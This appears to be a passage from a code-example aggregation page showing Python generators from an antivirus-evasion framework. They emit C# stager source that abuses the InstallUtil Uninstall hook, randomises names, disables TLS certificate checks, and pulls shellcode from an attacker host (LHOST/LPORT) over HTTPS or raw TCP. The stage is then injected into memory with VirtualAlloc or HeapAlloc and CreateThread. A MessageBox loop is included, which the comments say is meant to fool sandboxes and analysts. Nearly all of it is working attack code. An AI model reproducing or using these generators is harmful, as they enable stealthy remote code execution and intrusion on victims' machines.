            payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);""" % (
                y[0], y[1], y[2], y[3], y[4], y[5], y[6], y[7], y[8], y[9],
                y[10], y[11], y[12], y[13], y[14], y[15], y[16])

        # code for the randomString() function
        randomStringName = bypass_helpers.randomString()
        bufferName = bypass_helpers.randomString()
        charsName = bypass_helpers.randomString()
        t = list(
            "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789")
        random.shuffle(t)
        chars = ''.join(t)

        # logic to turn off certificate validation
        validateServerCertficateName = bypass_helpers.randomString()
        payload_code += "private static bool %s(object sender, System.Security.Cryptography.X509Certificates.X509Certificate cert,System.Security.Cryptography.X509Certificates.X509Chain chain,System.Net.Security.SslPolicyErrors sslPolicyErrors) { return true; }\n" % (
            validateServerCertficateName)

        # code for the randomString() method
        payload_code += "static string %s(Random r, int s) {\n" % (
            randomStringName)
        payload_code += "char[] %s = new char[s];\n" % (bufferName)
        payload_code += "string %s = \"%s\";\n" % (charsName, chars)
        payload_code += "for (int i = 0; i < s; i++){ %s[i] = %s[r.Next(%s.Length)];}\n" % (
            bufferName, charsName, charsName)
        payload_code += "return new string(%s);}\n" % (bufferName)

        # code for the checksum8() function
        checksum8Name = bypass_helpers.randomString()
        payload_code += "static bool %s(string s) {return ((s.ToCharArray().Select(x => (int)x).Sum()) %% 0x100 == 92);}\n" % (
            checksum8Name)

        # code fo the genHTTPChecksum() function
        genHTTPChecksumName = bypass_helpers.randomString()
        baseStringName = bypass_helpers.randomString()
        randCharsName = bypass_helpers.randomString()
        urlName = bypass_helpers.randomString()
        random.shuffle(t)
        randChars = ''.join(t)

        payload_code += "static string %s(Random r) { string %s = \"\";\n" % (
            genHTTPChecksumName, baseStringName)
        payload_code += "for (int i = 0; i < 64; ++i) { %s = %s(r, 3);\n" % (
            baseStringName, randomStringName)
        payload_code += "string %s = new string(\"%s\".ToCharArray().OrderBy(s => (r.Next(2) %% 2) == 0).ToArray());\n" % (
            randCharsName, randChars)
        payload_code += "for (int j = 0; j < %s.Length; ++j) {\n" % (
            randCharsName)
        payload_code += "string %s = %s + %s[j];\n" % (urlName, baseStringName,
                                                       randCharsName)
        payload_code += "if (%s(%s)) {return %s;}}} return \"9vXU\";}" % (
            checksum8Name, urlName, urlName)

        # code for getData() function
        getDataName = bypass_helpers.randomString()
        strName = bypass_helpers.randomString()
        webClientName = bypass_helpers.randomString()
        sName = bypass_helpers.randomString()

        payload_code += "static byte[] %s(string %s) {\n" % (getDataName,
                                                             strName)
        payload_code += "ServicePointManager.ServerCertificateValidationCallback = %s;\n" % (
            validateServerCertficateName)
        payload_code += "WebClient %s = new System.Net.WebClient();\n" % (
            webClientName)
        payload_code += "%s.Headers.Add(\"User-Agent\", \"Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)\");\n" % (
            webClientName)
        payload_code += "%s.Headers.Add(\"Accept\", \"*/*\");\n" % (
            webClientName)
        payload_code += "%s.Headers.Add(\"Accept-Language\", \"en-gb,en;q=0.5\");\n" % (
            webClientName)
        payload_code += "%s.Headers.Add(\"Accept-Charset\", \"ISO-8859-1,utf-8;q=0.7,*;q=0.7\");\n" % (
            webClientName)
        payload_code += "byte[] %s = null;\n" % (sName)
        payload_code += "try { %s = %s.DownloadData(%s);\n" % (
            sName, webClientName, strName)
        payload_code += "if (%s.Length < 100000) return null;}\n" % (sName)
        payload_code += "catch (WebException) {}\n"
        payload_code += "return %s;}\n" % (sName)

        # code fo the inject() function to inject shellcode
        injectName = bypass_helpers.randomString()
        sName = bypass_helpers.randomString()
        funcAddrName = bypass_helpers.randomString()
        hThreadName = bypass_helpers.randomString()
        threadIdName = bypass_helpers.randomString()
        pinfoName = bypass_helpers.randomString()

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += "static void %s(byte[] %s) {\n" % (injectName,
                                                               sName)
            payload_code += "    if (%s != null) {\n" % (sName)
            payload_code += "        UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" % (
                funcAddrName, sName)
            payload_code += "        Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % (
                sName, funcAddrName, sName)
            payload_code += "        IntPtr %s = IntPtr.Zero;\n" % (
                hThreadName)
            payload_code += "        UInt32 %s = 0;\n" % (threadIdName)
            payload_code += "        IntPtr %s = IntPtr.Zero;\n" % (pinfoName)
            payload_code += "        %s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % (
                hThreadName, funcAddrName, pinfoName, threadIdName)
            payload_code += "        WaitForSingleObject(%s, 0xFFFFFFFF); }}\n" % (
                hThreadName)

        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":

            payload_code += "static void %s(byte[] %s) {\n" % (injectName,
                                                               sName)
            payload_code += "    if (%s != null) {\n" % (sName)
            payload_code += '       UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(
                pinfoName, sName)
            payload_code += '       UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(
                funcAddrName, pinfoName, sName)
            payload_code += '       RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(
                funcAddrName, sName, sName)
            payload_code += '       UInt32 {} = 0;\n'.format(threadIdName)
            payload_code += '       IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(
                hThreadName, funcAddrName, threadIdName)
            payload_code += '       WaitForSingleObject({}, 0xFFFFFFFF);}}}}\n'.format(
                hThreadName)

        # code for Main() to launch everything
        randomName = bypass_helpers.randomString()

        num_tabs_required = 0

        payload_code += "\n\t\tpublic static void {0}() {{\n".format(execName)
        payload_code2, num_tabs_required = gamemaker.senecas_games(self)
        payload_code = payload_code + payload_code2
        num_tabs_required += 2

        payload_code += "Random %s = new Random((int)DateTime.Now.Ticks);\n" % (
            randomName)
        payload_code += "byte[] %s = %s(\"https://%s:%s/\" + %s(%s));\n" % (
            sName, getDataName, self.required_options["LHOST"][0],
            self.required_options["LPORT"][0], genHTTPChecksumName, randomName)
        payload_code += "%s(%s);\n" % (injectName, sName)

        while (num_tabs_required != 0):
            payload_code += '\t' * num_tabs_required + '}'
            num_tabs_required -= 1

        self.payload_source_code = payload_code
        return
Example #13
0
    def generate(self):

        # Generate the shellcode
        if not self.cli_shellcode:
            Shellcode = self.shellcode.generate(self.cli_opts)
            if self.shellcode.msfvenompayload:
                self.payload_type = self.shellcode.msfvenompayload
            elif self.shellcode.payload_choice:
                self.payload_type = self.shellcode.payload_choice
                self.shellcode.payload_choice = ''
            # assume custom shellcode
            else:
                self.payload_type = 'custom'
        else:
            Shellcode = self.cli_shellcode
        # Base64 encode the shellcode
        Shellcode = "0" + ",0".join(Shellcode.split("\\")[1:])

        # randomize all our variable names, yo'
        className = bypass_helpers.randomString()
        classNameTwo = bypass_helpers.randomString()
        classNameThree = bypass_helpers.randomString()
        execName = bypass_helpers.randomString()
        bytearrayName = bypass_helpers.randomString()
        funcAddrName = bypass_helpers.randomString()
        savedStateName = bypass_helpers.randomString()
        messWithAnalystName = bypass_helpers.randomString()
        shellcodeName = bypass_helpers.randomString()
        rand_bool = bypass_helpers.randomString()
        random_out = bypass_helpers.randomString()

        hThreadName = bypass_helpers.randomString()
        threadIdName = bypass_helpers.randomString()
        pinfoName = bypass_helpers.randomString()
        num_tabs_required = 0

        # get random variables for the API imports
        r = [bypass_helpers.randomString() for x in range(16)]
        y = [bypass_helpers.randomString() for x in range(17)]

        #required syntax at the beginning of any/all payloads
        payload_code = "using System; using System.Net; using System.Linq; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; using System.Configuration.Install; using System.Windows.Forms;\n"
        payload_code += "\tpublic class {0} {{\n".format(className)
        payload_code += "\t\tpublic static void Main()\n\t\t{\n"
        # lets add a message box to throw offf sandbox heuristics and analysts :)
        # there is no decryption routine, troll.level = 9000
        # TODO: add a fake decryption function that does nothing and accepts messWithAnalystName as a parameter.
        payload_code += "\t\t\twhile(true)\n{{ MessageBox.Show(\"doge\"); Console.ReadLine();}}\n"
        payload_code += "\t\t}\n\t}\n\n"
        payload_code += "\t[System.ComponentModel.RunInstaller(true)]\n"
        payload_code += "\tpublic class {0} : System.Configuration.Install.Installer\n\t{{\n".format(
            classNameTwo)
        payload_code += "\t\tpublic override void Uninstall(System.Collections.IDictionary {0})\n\t\t{{\n".format(
            savedStateName)
        payload_code += "\t\t\t{0}.{1}();\n\t\t}}\n\t}}\n".format(
            classNameThree, execName)
        payload_code += "\n\tpublic class {0}\n\t{{".format(classNameThree)
        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += """\t\t[DllImport(\"kernel32\")] private static extern IntPtr VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] public static extern bool VirtualProtect(IntPtr %s, uint %s, uint %s, out uint %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, IntPtr %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);\n""" % (
                r[0], r[1], r[2], r[3], r[4], r[5], r[6], r[7], r[8], r[9],
                r[10], r[11], r[12], r[13], r[14], r[15])
        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);""" % (
                y[0], y[1], y[2], y[3], y[4], y[5], y[6], y[7], y[8], y[9],
                y[10], y[11], y[12], y[13], y[14], y[15], y[16])

        payload_code += "\n\t\tpublic static void {0}() {{\n".format(execName)
        payload_code2, num_tabs_required = gamemaker.senecas_games(self)
        payload_code = payload_code + payload_code2
        num_tabs_required += 2

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += '\t' * num_tabs_required + "byte[] %s = {%s};" % (
                shellcodeName, Shellcode)
            payload_code += '\t' * num_tabs_required + "IntPtr %s = VirtualAlloc(0, (UInt32)%s.Length, 0x3000, 0x04);\n" % (
                funcAddrName, shellcodeName)
            payload_code += '\t' * num_tabs_required + "Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % (
                shellcodeName, funcAddrName, shellcodeName)
            payload_code += '\t' * num_tabs_required + "IntPtr %s = IntPtr.Zero; UInt32 %s = 0; IntPtr %s = IntPtr.Zero;\n" % (
                hThreadName, threadIdName, pinfoName)
            payload_code += '\t' * num_tabs_required + "uint %s;\n" % (
                random_out)
            payload_code += '\t' * num_tabs_required + "bool %s = VirtualProtect(%s, (uint)0x1000, (uint)0x20, out %s);\n" % (
                rand_bool, funcAddrName, random_out)
            payload_code += '\t' * num_tabs_required + "%s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % (
                hThreadName, funcAddrName, pinfoName, threadIdName)
            payload_code += '\t' * num_tabs_required + "WaitForSingleObject(%s, 0xFFFFFFFF);\n" % (
                hThreadName)

        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":

            rand_heap = bypass_helpers.randomString()
            rand_ptr = bypass_helpers.randomString()
            rand_var = bypass_helpers.randomString()

            payload_code += '\t' * num_tabs_required + "byte[] %s = {%s};" % (
                shellcodeName, Shellcode)
            payload_code += '\t' * num_tabs_required + 'UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(
                rand_heap, shellcodeName)
            payload_code += '\t' * num_tabs_required + 'UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(
                rand_ptr, rand_heap, shellcodeName)
            payload_code += '\t' * num_tabs_required + 'RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(
                rand_ptr, shellcodeName, shellcodeName)
            payload_code += '\t' * num_tabs_required + 'UInt32 {} = 0;\n'.format(
                rand_var)
            payload_code += '\t' * num_tabs_required + 'IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(
                hThreadName, rand_ptr, rand_var)
            payload_code += '\t' * num_tabs_required + 'WaitForSingleObject({}, 0xFFFFFFFF);\n'.format(
                hThreadName)

        while (num_tabs_required != 0):
            payload_code += '\t' * num_tabs_required + '}'
            num_tabs_required -= 1

        self.payload_source_code = payload_code
        return
Example #14
0
    def generate(self):
        # get random variables for the API imports
        r = [bypass_helpers.randomString() for x in range(16)]
        y = [bypass_helpers.randomString() for x in range(17)]

        # installutil random class variables
        getDataName = helpers.randomString()
        className = bypass_helpers.randomString()
        classNameTwo = bypass_helpers.randomString()
        classNameThree = bypass_helpers.randomString()
        execName = bypass_helpers.randomString()
        savedStateName = bypass_helpers.randomString()

        #required syntax at the beginning of any/all payloads
        payload_code = "using System; using System.Net; using System.Linq; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; using System.Configuration.Install; using System.Windows.Forms;\n"
        payload_code += "\tpublic class {0} {{\n".format(className)
        payload_code += "\t\tpublic static void Main()\n\t\t{\n"
        # lets add a message box to throw offf sandbox heuristics and analysts :)
        # there is no decryption routine, troll.level = 9000
        # TODO: add a fake decryption function that does nothing and accepts messWithAnalystName as a parameter.
        payload_code += "\t\t\twhile(true)\n{{ MessageBox.Show(\"doge\"); Console.ReadLine();}}\n"
        payload_code += "\t\t}\n\t}\n\n"
        payload_code += "\t[System.ComponentModel.RunInstaller(true)]\n"
        payload_code += "\tpublic class {0} : System.Configuration.Install.Installer\n\t{{\n".format(
            classNameTwo)
        payload_code += "\t\tpublic override void Uninstall(System.Collections.IDictionary {0})\n\t\t{{\n".format(
            savedStateName)
        payload_code += "\t\t\t{0}.{1}();\n\t\t}}\n\t}}\n".format(
            classNameThree, execName)
        payload_code += "\n\tpublic class {0}\n\t{{".format(classNameThree)
        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);\n""" % (
                r[0], r[1], r[2], r[3], r[4], r[5], r[6], r[7], r[8], r[9],
                r[10], r[11])
        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);""" % (
                y[0], y[1], y[2], y[3], y[4], y[5], y[6], y[7], y[8], y[9],
                y[10], y[11], y[12], y[13], y[14], y[15], y[16])

        hostName = helpers.randomString()
        portName = helpers.randomString()
        ipName = helpers.randomString()
        sockName = helpers.randomString()
        length_rawName = helpers.randomString()
        lengthName = helpers.randomString()
        sName = helpers.randomString()
        total_bytesName = helpers.randomString()
        handleName = helpers.randomString()

        payload_code += "static byte[] %s(string %s, int %s) {\n" % (
            getDataName, hostName, portName)
        payload_code += "    IPEndPoint %s = new IPEndPoint(IPAddress.Parse(%s), %s);\n" % (
            ipName, hostName, portName)
        payload_code += "    Socket %s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);\n" % (
            sockName)
        payload_code += "    try { %s.Connect(%s); }\n" % (sockName, ipName)
        payload_code += "    catch { return null;}\n"
        payload_code += "    byte[] %s = new byte[4];\n" % (length_rawName)
        payload_code += "    %s.Receive(%s, 4, 0);\n" % (sockName,
                                                         length_rawName)
        payload_code += "    int %s = BitConverter.ToInt32(%s, 0);\n" % (
            lengthName, length_rawName)
        payload_code += "    byte[] %s = new byte[%s + 5];\n" % (sName,
                                                                 lengthName)
        payload_code += "    int %s = 0;\n" % (total_bytesName)
        payload_code += "    while (%s < %s)\n" % (total_bytesName, lengthName)
        payload_code += "    { %s += %s.Receive(%s, %s + 5, (%s - %s) < 4096 ? (%s - %s) : 4096, 0);}\n" % (
            total_bytesName, sockName, sName, total_bytesName, lengthName,
            total_bytesName, lengthName, total_bytesName)
        payload_code += "    byte[] %s = BitConverter.GetBytes((int)%s.Handle);\n" % (
            handleName, sockName)
        payload_code += "    Array.Copy(%s, 0, %s, 1, 4); %s[0] = 0xBF;\n" % (
            handleName, sName, sName)
        payload_code += "    return %s;}\n" % (sName)

        # code fo the inject() function to inject shellcode
        injectName = bypass_helpers.randomString()
        sName = bypass_helpers.randomString()
        funcAddrName = bypass_helpers.randomString()
        hThreadName = bypass_helpers.randomString()
        threadIdName = bypass_helpers.randomString()
        pinfoName = bypass_helpers.randomString()

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += "static void %s(byte[] %s) {\n" % (injectName,
                                                               sName)
            payload_code += "    if (%s != null) {\n" % (sName)
            payload_code += "        UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" % (
                funcAddrName, sName)
            payload_code += "        Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % (
                sName, funcAddrName, sName)
            payload_code += "        IntPtr %s = IntPtr.Zero;\n" % (
                hThreadName)
            payload_code += "        UInt32 %s = 0;\n" % (threadIdName)
            payload_code += "        IntPtr %s = IntPtr.Zero;\n" % (pinfoName)
            payload_code += "        %s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % (
                hThreadName, funcAddrName, pinfoName, threadIdName)
            payload_code += "        WaitForSingleObject(%s, 0xFFFFFFFF); }}\n" % (
                hThreadName)

        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":

            payload_code += "static void %s(byte[] %s) {\n" % (injectName,
                                                               sName)
            payload_code += "    if (%s != null) {\n" % (sName)
            payload_code += '       UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(
                pinfoName, sName)
            payload_code += '       UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(
                funcAddrName, pinfoName, sName)
            payload_code += '       RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(
                funcAddrName, sName, sName)
            payload_code += '       UInt32 {} = 0;\n'.format(threadIdName)
            payload_code += '       IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(
                hThreadName, funcAddrName, threadIdName)
            payload_code += '       WaitForSingleObject({}, 0xFFFFFFFF);}}}}\n'.format(
                hThreadName)

        sName = bypass_helpers.randomString()
        num_tabs_required = 0

        payload_code += "\n\t\tpublic static void {0}() {{\n".format(execName)
        payload_code2, num_tabs_required = gamemaker.senecas_games(self)
        payload_code = payload_code + payload_code2
        num_tabs_required += 2

        payload_code += "    byte[] %s = null; %s = %s(\"%s\", %s);\n" % (
            sName, sName, getDataName, self.required_options["LHOST"][0],
            self.required_options["LPORT"][0])
        payload_code += "    %s(%s);\n" % (injectName, sName)

        while (num_tabs_required != 0):
            payload_code += '\t' * num_tabs_required + '}'
            num_tabs_required -= 1

        self.payload_source_code = payload_code
        return